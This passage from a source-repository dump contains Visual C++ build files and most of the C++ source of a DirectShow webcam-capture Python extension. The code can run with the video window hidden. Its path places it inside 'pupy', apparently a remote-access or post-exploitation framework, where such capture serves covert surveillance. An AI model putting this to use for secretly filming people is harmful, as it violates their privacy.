# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x809 /d "NDEBUG"
# ADD RSC /l 0x809 /d "NDEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /out:"Python21/vidcap.pyd" /libpath:"c:\PYTHON21\LIBS"
# SUBTRACT BASE LINK32 /pdb:none
# ADD LINK32 c:\DXSDK\samples\Multimedia\DirectShow\BaseClasses\Release\STRMBASE.lib strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /nodefaultlib:"libcmt" /out:"Python22/vidcap.pyd" /libpath:"c:\PYTHON22\LIBS" /libpath:"c:\DXSDK\lib"
# SUBTRACT LINK32 /pdb:none /nodefaultlib
# Begin Custom Build
TargetPath=.\Python22\vidcap.pyd
InputPath=.\Python22\vidcap.pyd
SOURCE="$(InputPath)"

"c:\Python22\DLLs\vidcap.pyd" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"
	copy $(TargetPath) "c:\python22\DLLs"

# End Custom Build

!ELSEIF  "$(CFG)" == "vidcap - Win32 Python23"

# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 0
# PROP BASE Output_Dir "vidcap___Win32_Python23"
# PROP BASE Intermediate_Dir "vidcap___Win32_Python23"
# PROP BASE Ignore_Export_Lib 0
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 0
# PROP Output_Dir "Python23"
# PROP Intermediate_Dir "Python23"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MD /W3 /GX /O2 /I "c:\PYTHON23\INCLUDE" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VPDCAP_EXPORTS" /YX /FD /c
# ADD CPP /nologo /MD /W3 /GX /O2 /I "c:\PYTHON23\INCLUDE" /I "c:\DXSDK\include" /I "c:\DXSDK\samples\Multimedia\DirectShow\BaseClasses" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VPDCAP_EXPORTS" /YX /FD /c
# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x809 /d "NDEBUG"
# ADD RSC /l 0x809 /d "NDEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /out:"Python23/vidcap.pyd" /libpath:"c:\PYTHON23\LIBS"
# SUBTRACT BASE LINK32 /pdb:none
# ADD LINK32 c:\DXSDK\samples\Multimedia\DirectShow\BaseClasses\Release\STRMBASE.lib strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /nodefaultlib:"libcmt" /out:"Python23/vidcap.pyd" /libpath:"c:\PYTHON23\LIBS" /libpath:"c:\DXSDK\lib"
# SUBTRACT LINK32 /pdb:none
# Begin Custom Build
TargetPath=.\Python23\vidcap.pyd
InputPath=.\Python23\vidcap.pyd
SOURCE="$(InputPath)"

"c:\Python23\DLLs\vidcap.pyd" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"
	copy $(TargetPath) "c:\python23\DLLs"

# End Custom Build

!ELSEIF  "$(CFG)" == "vidcap - Win32 Python24"

# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 0
# PROP BASE Output_Dir "vidcap___Win32_Python24"
# PROP BASE Intermediate_Dir "vidcap___Win32_Python24"
# PROP BASE Ignore_Export_Lib 0
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 0
# PROP Output_Dir "Python24"
# PROP Intermediate_Dir "Python24"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MD /W3 /GX /O2 /I "c:\PYTHON24\INCLUDE" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VPDCAP_EXPORTS" /YX /FD /c
# ADD CPP /nologo /MD /W3 /GX /O2 /I "c:\PYTHON24\INCLUDE" /I "c:\DXSDK\include" /I "c:\DXSDK\samples\Multimedia\DirectShow\BaseClasses" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VPDCAP_EXPORTS" /YX /FD /c
# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x809 /d "NDEBUG"
# ADD RSC /l 0x809 /d "NDEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /out:"Python24/vidcap.pyd" /libpath:"c:\PYTHON24\LIBS"
# SUBTRACT BASE LINK32 /pdb:none
# ADD LINK32 c:\DXSDK\samples\Multimedia\DirectShow\BaseClasses\Release\STRMBASE.lib strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /nodefaultlib:"libcmt" /out:"Python24/vidcap.pyd" /libpath:"c:\PYTHON24\LIBS" /libpath:"c:\DXSDK\lib"
# SUBTRACT LINK32 /pdb:none
# Begin Custom Build
TargetPath=.\Python24\vidcap.pyd
InputPath=.\Python24\vidcap.pyd
SOURCE="$(InputPath)"

"c:\Python24\DLLs\vidcap.pyd" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"
	copy $(TargetPath) "c:\python24\DLLs"

# End Custom Build

!ELSEIF  "$(CFG)" == "vidcap - Win32 Python25"

# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 0
# PROP BASE Output_Dir "vidcap___Win32_Python25"
# PROP BASE Intermediate_Dir "vidcap___Win32_Python25"
# PROP BASE Ignore_Export_Lib 0
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 0
# PROP Output_Dir "Python25"
# PROP Intermediate_Dir "Python25"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MD /W3 /GX /O2 /I "c:\PYTHON25\INCLUDE" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VPDCAP_EXPORTS" /YX /FD /c
# ADD CPP /nologo /MD /W3 /GX /O2 /I "c:\PYTHON25\INCLUDE" /I "c:\DXSDK\include" /I "c:\DXSDK\samples\Multimedia\DirectShow\BaseClasses" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VPDCAP_EXPORTS" /YX /FD /c
# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x809 /d "NDEBUG"
# ADD RSC /l 0x809 /d "NDEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /out:"Python25/vidcap.pyd" /libpath:"c:\PYTHON25\LIBS"
# SUBTRACT BASE LINK32 /pdb:none
# ADD LINK32 c:\DXSDK\samples\Multimedia\DirectShow\BaseClasses\Release\STRMBASE.lib strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /nodefaultlib:"libcmt" /out:"Python25/vidcap.pyd" /libpath:"c:\PYTHON25\LIBS" /libpath:"c:\DXSDK\lib"
# SUBTRACT LINK32 /pdb:none
# Begin Custom Build
TargetPath=.\Python25\vidcap.pyd
InputPath=.\Python25\vidcap.pyd
SOURCE="$(InputPath)"

"c:\Python25\DLLs\vidcap.pyd" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"
	copy $(TargetPath) "c:\python25\DLLs"

# End Custom Build

!ENDIF

# Begin Target

# Name "vidcap - Win32 Python20"
# Name "vidcap - Win32 Python21"
# Name "vidcap - Win32 Python22"
# Name "vidcap - Win32 Python23"
# Name "vidcap - Win32 Python24"
# Name "vidcap - Win32 Python25"
# Begin Group "Source Files"

# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"
# Begin Source File

SOURCE=.\vidcapmodule.cpp
# End Source File
# End Group
# Begin Group "Header Files"

# PROP Default_Filter "h;hpp;hxx;hm;inl"
# End Group
# Begin Group "Resource Files"

# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe"
# End Group
# End Target
# End Project


================================================
FILE: pupy/packages/src/VideoCapture/src/vidcap.dsw
================================================
Microsoft Developer Studio Workspace File, Format Version 6.00
# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE!

###############################################################################

Project: "vidcap"=.\vidcap.dsp - Package Owner=<4>

Package=<5>
{{{
}}}

Package=<4>
{{{
}}}

###############################################################################

Global:

Package=<5>
{{{
}}}

Package=<3>
{{{
}}}

###############################################################################



================================================
FILE: pupy/packages/src/VideoCapture/src/vidcapmodule.cpp
================================================
#include "stdafx.h"

// vidcapmodule.cpp
// by Markus Gritsch <gritsch@iue.tuwien.ac.at>

// code plugged together from
// http://www.python.org/doc/current/ext/ext.html
// and
// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dx8_c/directx_cpp/htm/howtowriteacaptureapplication.asp
// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dx8_c/directx_cpp/htm/usingthesamplegrabber.asp
// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dx8_c/directx_cpp/htm/playcapsample.asp
// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dx8_c/directx_cpp/htm/displayingafilterspropertypages.asp


#include "Python.h"

#include <dshow.h>
//#include <qedit.h>  // Sample Grabber, Null Renderer  
#include "qedit.h"  // Deprecated and no longer included in the Windows SDK
#include <mtype.h> // DirectShow Base Classes - FreeMediaType(), DeleteMediaType()

static PyObject *VidcapError;

//staticforward PyTypeObject Dev_Type; // does not work for Python 2.3 anymore
extern PyTypeObject Dev_Type; // suggested by Jon Schneider <jon@jschneider.net>


typedef struct {
    PyObject_HEAD

    IGraphBuilder         *ob_pGraph;
    ICaptureGraphBuilder2 *ob_pBuilder;
    IBaseFilter           *ob_pSrc;
    ISampleGrabber        *ob_pGrab;
    IMediaControl         *ob_pControl;

    int devnum;
    int showVideoWindow;
    IPropertyBag	  *ob_pPropBag;

} DevObject;


static void
cleanup(DevObject *self)
{
    if (self->ob_pControl != NULL)
        self->ob_pControl->Stop();

    if (self->ob_pControl != NULL)
        self->ob_pControl->Release();
    //self->ob_pControl = NULL;
    if (self->ob_pGrab != NULL)
        self->ob_pGrab->Release();
    //self->ob_pGrab = NULL;
    if (self->ob_pSrc != NULL)
        self->ob_pSrc->Release();
    //self->ob_pSrc = NULL;
    if (self->ob_pBuilder != NULL)
        self->ob_pBuilder->Release();
    //self->ob_pBuilder = NULL;
    if (self->ob_pGraph != NULL)
        self->ob_pGraph->Release();
    //self->ob_pGraph = NULL;
    if (self->ob_pPropBag != NULL)
	self->ob_pPropBag->Release();	
    //self->ob_pPropBag = NULL;
}


static bool
initialize(DevObject *self)
{
    HRESULT hr;


    // Creating the Required Components
    // ================================

    // Create the filter graph.
    hr = CoCreateInstance(CLSID_FilterGraph, NULL, CLSCTX_INPROC,
                          IID_IGraphBuilder, (void **)&self->ob_pGraph);
    if (FAILED(hr))
    {
        PyErr_SetString(VidcapError, "Creation of the filter graph failed.");
        cleanup(self);
        return FALSE;
    }

    // Create the capture graph builder.
    hr = CoCreateInstance(CLSID_CaptureGraphBuilder2, NULL, CLSCTX_INPROC,
                          IID_ICaptureGraphBuilder2, (void **)&self->ob_pBuilder);
    if (FAILED(hr))
    {
        PyErr_SetString(VidcapError, "Creation of the capture graph builder failed.");
        cleanup(self);
        return FALSE;
    }

    hr = self->ob_pBuilder->SetFiltergraph(self->ob_pGraph);
    if (FAILED(hr))
    {
        PyErr_SetString(VidcapError, "Setting the filter graph for the capture graph builder failed.");
        cleanup(self);
        return FALSE;
    }


    // Selecting a Capture Device
    // ==========================

    // Create the system device enumerator.
    ICreateDevEnum *pDevEnum = NULL;
    hr = CoCreateInstance(CLSID_SystemDeviceEnum, NULL, CLSCTX_INPROC,
                          IID_ICreateDevEnum, (void **)&pDevEnum);
    if (FAILED(hr))
    {
        PyErr_SetString(VidcapError, "Creation of the system device enumerator failed.");
        cleanup(self);
        return FALSE;
    }

    // Create an enumerator for video capture devices.
    IEnumMoniker *pClassEnum = NULL;
    hr = pDevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory, &pClassEnum, 0);
    pDevEnum->Release();
    if (hr != S_OK) // fix by Jonathan Viney <jonathan@bluewire.net.nz> "doing FAILED(hr) isn't a good enough check"
    {
        PyErr_SetString(VidcapError, "Creation of the enumerator for video capture devices failed.");
        cleanup(self);
        return FALSE;
    }

    ULONG cFetched;
    IMoniker *pMoniker = NULL;
    for (int i=0; i <= self->devnum; i++)
    {
        if (pClassEnum->Next(1, &pMoniker, &cFetched) != S_OK)
        {
            PyErr_SetString(VidcapError, "The device with the specified device number does not exist.");
            pClassEnum->Release();
            cleanup(self);
            return FALSE;
        }
    }
    pClassEnum->Release();

    // Bind the moniker to a filter object.
    if (self->ob_pSrc == NULL)
    {
        hr = pMoniker->BindToObject(0, 0, IID_IBaseFilter, (void**)&self->ob_pSrc);
        if (FAILED(hr))
        {
            PyErr_SetString(VidcapError, "Binding the moniker to a filter object failed.");
            cleanup(self);
            return FALSE;
        }
    }

	// Obtain friendly name for Moniker
	// http://msdn.microsoft.com/en-us/library/windows/desktop/dd407292%28v=vs.85%29.aspx   
	
    hr = pMoniker->BindToStorage(0, 0, IID_IPropertyBag, (void **)&self->ob_pPropBag);
    if (FAILED(hr))
    {
        PyErr_SetString(VidcapError, "Fetching the moniker property bag failed.");
        cleanup(self);
        return FALSE;
    }
    pMoniker->Release();
	
    // Now add the capture filter to the graph
    hr = self->ob_pGraph->AddFilter(self->ob_pSrc, L"VideoCapture");
    if (FAILED(hr))
    {
        PyErr_SetString(VidcapError, "Adding the capture filter to the filter graph failed.\n              Device maybe not connected or already in use.");
        cleanup(self);
        return FALSE;
    }


    // Adding the Sample Grabber to the Filter Graph
    // =============================================

    IBaseFilter     *pF = NULL;
    AM_MEDIA_TYPE   mt;

    hr = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC,
                          IID_IBaseFilter, (LPVOID *)&pF);
    if (FAILED(hr))
    {
        PyErr_SetString(VidcapError, "Creation of the sample grabber failed.");
        cleanup(self);
        return FALSE;
    }

    hr = pF->QueryInterface(IID_ISampleGrabber, (void **)&self->ob_pGrab);
    if (FAILED(hr))
    {
        PyErr_SetString(VidcapError, "Sample grabber interface could not be found.");
        cleanup(self);
        return FALSE;
    }

    hr = self->ob_pGraph->AddFilter(pF, L"Grabber");
    if (FAILED(hr))
    {
        PyErr_SetString(VidcapError, "Adding the sample grabber to the filter graph failed.");
        cleanup(self);
        return FALSE;
    }

    ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE));
    mt.majortype = MEDIATYPE_Video;
    mt.subtype = MEDIASUBTYPE_RGB24;
    mt.formattype = FORMAT_VideoInfo;
    hr = self->ob_pGrab->SetMediaType(&mt);
    if (FAILED(hr))
    {
        PyErr_SetString(VidcapError, "Setting the media type of the sample grabber failed.");
        cleanup(self);
        return FALSE;
    }

/*    IBaseFilter *pNullRenderer = NULL;
    hr = CoCreateInstance(CLSID_NullRenderer, NULL, CLSCTX_INPROC,
                          IID_IBaseFilter, (LPVOID *)&pNullRenderer);
    hr = self->ob_pGraph->AddFilter(pNullRenderer, L"Nuller");
*/

    // Rendering the Streams
    // =====================

    hr = self->ob_pBuilder->RenderStream(
            &PIN_CATEGORY_CAPTURE, // changed from ..._PREVIEW to ..._CAPTURE
            &MEDIATYPE_Video,
            self->ob_pSrc, // src
            pF,            // via
            NULL           // dest ; or pNullRenderer
        );
    if (FAILED(hr))
    {
        PyErr_SetString(VidcapError, "Capture Graph could not be created.");
        cleanup(self);
        return FALSE;
    }

    pF->Release();
    //pNullRenderer->Release();


    // Controlling a Capture Graph
    // ===========================

    if (!self->showVideoWindow)
    {
        IVideoWindow *pWindow;

        hr = self->ob_pGraph->QueryInterface(IID_IVideoWindow, (void **)&pWindow);
        if (FAILED(hr))
        {
            PyErr_SetString(VidcapError, "Video Window interface could not be found.");
            cleanup(self);
            return FALSE;
        }

        hr = pWindow->put_AutoShow(OAFALSE);
        if (FAILED(hr))
        {
            PyErr_SetString(VidcapError, "Video Window hiding failed.");
            cleanup(self);
            return FALSE;
        }

        pWindow->Release();
    }

    hr = self->ob_pGraph->QueryInterface(IID_IMediaControl, (void **)&self->ob_pControl);
    if (FAILED(hr))
    {
        PyErr_SetString(VidcapError, "Media control interface could not be found.");
        cleanup(self);
        return FALSE;
    }


    hr = self->ob_pGrab->SetBufferSamples(TRUE);
    if (FAILED(hr))
    {
        PyErr_SetString(VidcapError, "Setting up buffering of samples failed.");
        cleanup(self);
        return FALSE;
    }

    // Set up one-shot mode.
    hr = self->ob_pGrab->SetOneShot(FALSE);
    if (FAILED(hr))
    {
        PyErr_SetString(VidcapError, "Setting up non-one-shot mode of the sample grabber failed.");
        cleanup(self);
        return FALSE;
    }

    //self->ob_pSrc->SetSyncSource(NULL); // Turn off the reference clock.

/*
    Once the filtergraph was started, the resolution of my webcam can not be changed.
    Workaround: So it is started in Dev_getbuffer() (fixme: xxx)
    This is only an intermediate solution, since this way changing the solution works
    only if no snapshot has already been taken.

    Update 18.9.2003: Seems to work now since
            teardown(self); //xxx                   Better *do* teardown and
                        initialize(self); //xxx         initialize for my Webcam.
        have been inserted into Dev_displaycapturefilterproperties().
*/
/*    
    hr = self->ob_pControl->Run(); // Run the graph.
    if (FAILED(hr)) // The graph is preparing to run, but some filters have
    {               // not completed the transition to a running state.
        OAFilterState pfs;
        hr = self->ob_pControl->GetState(6000, &pfs);
        if (FAILED(hr))
        {
            switch (hr)
            {
            case VFW_S_STATE_INTERMEDIATE:
                PyErr_SetString(VidcapError, "Running the capture graph failed (filter graph still in transition).");
                break;
            case VFW_S_CANT_CUE:
                PyErr_SetString(VidcapError, "Running the capture graph failed (cannot cue data).");
                break;
            case E_FAIL:
                PyErr_SetString(VidcapError, "Running the capture graph failed (failure).");
                break;
            default:
                PyErr_SetString(VidcapError, "UNKNOWN CASE!!");
            }
            return NULL;
        }
    }
*/

    return TRUE;
}


static DevObject *
newDevObject(PyObject *args)
{
    DevObject *self;
    self = PyObject_New(DevObject, &Dev_Type);
    if (self == NULL)
        return NULL;

    if (!PyArg_ParseTuple(args, "ii:newDev", &self->devnum, &self->showVideoWindow))
        return NULL;

    self->ob_pGraph   = NULL;
    self->ob_pBuilder = NULL;
    self->ob_pSrc     = NULL;
    self->ob_pGrab    = NULL;
    self->ob_pControl = NULL;
	self->ob_pPropBag    = NULL;

    if (initialize(self))
        return self;
    else
        return NULL;
}


static void
Dev_dealloc(DevObject *self)
{
    cleanup(self);

    PyObject_Del(self);
}


static void
teardown(DevObject *self)
{
    if (self->ob_pControl != NULL)
        self->ob_pControl->Stop();

    if (self->ob_pControl != NULL)
        self->ob_pControl->Release();
    self->ob_pControl = NULL;
    if (self->ob_pGrab != NULL)
        self->ob_pGrab->Release();
    self->ob_pGrab = NULL;
    // don't touch self->ob_pSrc
    if (self->ob_pBuilder != NULL)
        self->ob_pBuilder->Release();
    self->ob_pBuilder = NULL;
    if (self->ob_pGraph != NULL)
        self->ob_pGraph->Release();
    self->ob_pGraph = NULL;
	if (self->ob_pPropBag != NULL)
		self->ob_pPropBag->Release();	
	self->ob_pPropBag = NULL;
}

/*
// Tear down everything downstream of a given filter
static void
NukeDownstream(DevObject *self, IBaseFilter *pf)
{
    //DbgLog((LOG_TRACE,1,TEXT("Nuking...")));

    IPin *pP, *pTo;
    ULONG u;
    IEnumPins *pins = NULL;
    PIN_INFO pininfo;
    HRESULT hr = pf->EnumPins(&pins);
    pins->Reset();
    while(hr == NOERROR) {
        hr = pins->Next(1, &pP, &u);
        if(hr == S_OK && pP) {
            pP->ConnectedTo(&pTo);
            if(pTo) {
                hr = pTo->QueryPinInfo(&pininfo);
                if(hr == NOERROR) {
                    if(pininfo.dir == PINDIR_INPUT) {
                        NukeDownstream(self, pininfo.pFilter);
                        self->ob_pGraph->Disconnect(pTo);
                        self->ob_pGraph->Disconnect(pP);
                        self->ob_pGraph->RemoveFilter(pininfo.pFilter);
                    }
                    pininfo.pFilter->Release();
                }
                pTo->Release();
            }
            pP->Release();
        }
    }
    if(pins)
        pins->Release();
}
*/

static PyObject *
Dev_displaypropertypage(DevObject *self, PyObject *args)
{
    MessageBox(NULL,
               TEXT("displayPropertyPage() is deprecated.\nUse displayCaptureFilterProperties() and displayCapturePinProperties() instead!"),
               TEXT("VideoCapture Warning"), 
			   MB_OK | MB_ICONWARNING | MB_TASKMODAL);

    HRESULT hr;
    hr = self->ob_pControl->Stop(); //xxx
    if (FAILED(hr))
    {
        PyErr_SetString(VidcapError, "Stopping the capture graph failed.");
        return NULL;
    }
    //NukeDownstream(self, self->ob_pSrc);

    ISpecifyPropertyPages *pProp;
    hr = self->ob_pSrc->QueryInterface(IID_ISpecifyPropertyPages, (void **)&pProp);
    if (SUCCEEDED(hr))
    {
        // Get the filter's name and IUnknown pointer.
        FILTER_INFO FilterInfo;
        self->ob_pSrc->QueryFilterInfo(&FilterInfo);
        IUnknown *pFilterUnk;
        self->ob_pSrc->QueryInterface(IID_IUnknown, (void **)&pFilterUnk);

        HWND topwindow = GetTopWindow(NULL);
        // Show the page.
        CAUUID caGUID;
        pProp->GetPages(&caGUID);
        pProp->Release();
        OleCreatePropertyFrame(
            topwindow,              // Parent window
            0, 0,                   // xoffset, yoffset
            FilterInfo.achName,     // Caption for the dialog box
            1,                      // Number of objects (just the filter)
            &pFilterUnk,            // Array of object pointers.
            caGUID.cElems,          // Number of property pages
            caGUID.pElems,          // Array of property page CLSIDs
            0,                      // Locale identifier
            0, NULL                 // Reserved
        );

        // Clean up.
        pFilterUnk->Release();
        FilterInfo.pGraph->Release();
        CoTaskMemFree(caGUID.pElems);

        teardown(self); //xxx
        if (initialize(self))
        {
            Py_INCREF(Py_None);
            return Py_None;
        }
        else
        {
            return NULL;
        }
    }
    else
    {
        PyErr_SetString(VidcapError, "Querying the filter for its property pages failed.");
        return NULL;
    }
}


static PyObject *
Dev_displaycapturefilterproperties(DevObject *self, PyObject *args)
{
    bool everything_ok = false;

    HRESULT hr;
    hr = self->ob_pControl->Stop();

    ISpecifyPropertyPages *pSpec;
    CAUUID cauuid;
    hr = self->ob_pSrc->QueryInterface(IID_ISpecifyPropertyPages,
                                       (void **)&pSpec);
    if(hr == S_OK) {
        hr = pSpec->GetPages(&cauuid);
        if(hr == S_OK && cauuid.cElems > 0) {
            teardown(self); //xxx                   Better *do* teardown and
            initialize(self); //xxx         initialize for my Webcam.
            hr = OleCreatePropertyFrame(GetTopWindow(NULL), 0, 0, NULL, 1,
                                        (IUnknown **)&self->ob_pSrc, cauuid.cElems,
                                        (GUID *)cauuid.pElems, 0, 0, NULL);
            everything_ok = true;
            CoTaskMemFree(cauuid.pElems);
        }
        pSpec->Release();
    }

    if (everything_ok)
    {
        teardown(self); //xxx
        if (initialize(self))
        {
            Py_INCREF(Py_None);
            return Py_None;
        }
        else
        {
            return NULL;
        }
    }
    else
    {
        PyErr_SetString(VidcapError, "Querying the capture filter for its property pages failed.");
        return NULL;
    }
}


static PyObject *
Dev_displaycapturepinproperties(DevObject *self, PyObject *args)
{
    bool everything_ok = false;

    HRESULT hr;
    hr = self->ob_pControl->Stop();

    IAMStreamConfig *pSC;
    hr = self->ob_pBuilder->FindInterface(&PIN_CATEGORY_CAPTURE,
                                          &MEDIATYPE_Interleaved, self->ob_pSrc,
                                          IID_IAMStreamConfig, (void **)&pSC);
    if(hr != S_OK)
        hr = self->ob_pBuilder->FindInterface(&PIN_CATEGORY_CAPTURE,
                                              &MEDIATYPE_Video, self->ob_pSrc,
                                              IID_IAMStreamConfig, (void **)&pSC);
    if(hr == S_OK){
        ISpecifyPropertyPages *pSpec;
        CAUUID cauuid;
        hr = pSC->QueryInterface(IID_ISpecifyPropertyPages,
                                 (void **)&pSpec);
        if(hr == S_OK) {
            hr = pSpec->GetPages(&cauuid);
            if(hr == S_OK && cauuid.cElems > 0) {
                    //teardown(self); //xxx                 Better do *not* teardown and
                                //initialize(self); //xxx       initialize for my TV-card.
                hr = OleCreatePropertyFrame(GetTopWindow(NULL), 0, 0, NULL, 1,
                                            (IUnknown **)&pSC, cauuid.cElems,
                                            (GUID *)cauuid.pElems, 0, 0, NULL);
                everything_ok = true;
                CoTaskMemFree(cauuid.pElems);
            }
            pSpec->Release();
        }
        pSC->Release();
    }

    if (everything_ok)
    {
        teardown(self); //xxx
        if (initialize(self))
        {
            Py_INCREF(Py_None);
            return Py_None;
        }
        else
        {
            return NULL;
        }
    }
    else
    {
        PyErr_SetString(VidcapError, "Querying the capture pin for its property pages failed.");
        return NULL;
    }
}

// contributed by Jeremy Mortis <mortis@tansay.ca>
static PyObject *
Dev_getdisplayname(DevObject *self, PyObject *args)
{	
	HRESULT hr;
    VARIANT varName;
    VariantInit(&varName);
	if (self->ob_pPropBag == NULL) 
	{
		PyErr_SetString(VidcapError, "No device properties available.");
        return NULL;
    }

    hr = self->ob_pPropBag->Read(L"FriendlyName", &varName, 0);
    if (FAILED(hr))
    {
		PyErr_SetString(VidcapError, "Unable to obtain display name.");
        return NULL;
    }

	char buffer[100];
	wcstombs(buffer, varName.bstrVal, 100);

    PyObject *value;
    value = Py_BuildValue("s", buffer);

    VariantClear(&varName);

    return value;
}

// contributed by Don Kimber <kimber@fxpal.com>
static PyObject *
Dev_setresolution(DevObject *self, PyObject *args)
{
    HRESULT hr;
    int     width, height;
    char*   errStr = NULL;
    bool everything_ok = false;

    if (!PyArg_ParseTuple(args, "ii:newDev", &width, &height))
        return NULL;


    hr = self->ob_pControl->Stop();

    IAMStreamConfig *pSC;

//  pSC->SetFormat(pmt);

    hr = self->ob_pBuilder->FindInterface(&PIN_CATEGORY_CAPTURE,
                                          &MEDIATYPE_Interleaved, self->ob_pSrc,
                                          IID_IAMStreamConfig, (void **)&pSC);
    if(hr != S_OK)
        hr = self->ob_pBuilder->FindInterface(&PIN_CATEGORY_CAPTURE,
                                              &MEDIATYPE_Video, self->ob_pSrc,
                                              IID_IAMStreamConfig, (void **)&pSC);
    if(hr == S_OK){
        AM_MEDIA_TYPE* pmt;
        hr = pSC->GetFormat(&pmt);
        if (hr == S_OK) {
            if (pmt->formattype == FORMAT_VideoInfo) {
                VIDEOINFOHEADER *pVih = reinterpret_cast<VIDEOINFOHEADER*>(pmt->pbFormat);
                pVih->bmiHeader.biWidth=width;
                pVih->bmiHeader.biHeight=height;
                hr = pSC->SetFormat(pmt);
                if (hr == S_OK)
                    everything_ok = true;
                else {
                    errStr = "Cannot set capture resolution.";
                }
            }
            else {
                errStr = "Cannot query capture format.";
            }
            DeleteMediaType(pmt);
        }
        pSC->Release();
    }

    if (everything_ok) {
        teardown(self); //xxx
        if (initialize(self))
        {
            Py_INCREF(Py_None);
            return Py_None;
        }
        else
        {
            PyErr_SetString(VidcapError, "Problem after setting the capture resolution.");
            return NULL;
        }
    }
    else {
        if (errStr == NULL)
            errStr = "Setting the capture resolution failed.";
        PyErr_SetString(VidcapError, errStr);
        return NULL;
    }
}


static PyObject *
Dev_getbuffer(DevObject *self, PyObject *args)
{
    HRESULT hr;

    AM_MEDIA_TYPE MediaType;
    hr = self->ob_pGrab->GetConnectedMediaType(&MediaType);
    if (FAILED(hr))
    {
        PyErr_SetString(VidcapError, "Getting the sample grabber's connected media type failed.");
        return NULL;
    }

    // Get a pointer to the video header.
    VIDEOINFOHEADER *pVideoHeader = (VIDEOINFOHEADER*)MediaType.pbFormat;

    long size   = pVideoHeader->bmiHeader.biSizeImage;
    long width  = pVideoHeader->bmiHeader.biWidth;
    long height = pVideoHeader->bmiHeader.biHeight;

    // Free the format block
    //FreeMediaType(MediaType); // this would need the DirectShow Base Classes
    CoTaskMemFree(MediaType.pbFormat);

    // Allocate memory.
    //void *buffer = malloc(size);
    void *buffer = PyMem_Malloc(size);
    if (!buffer)
    {
        PyErr_NoMemory();
        return NULL;
    }

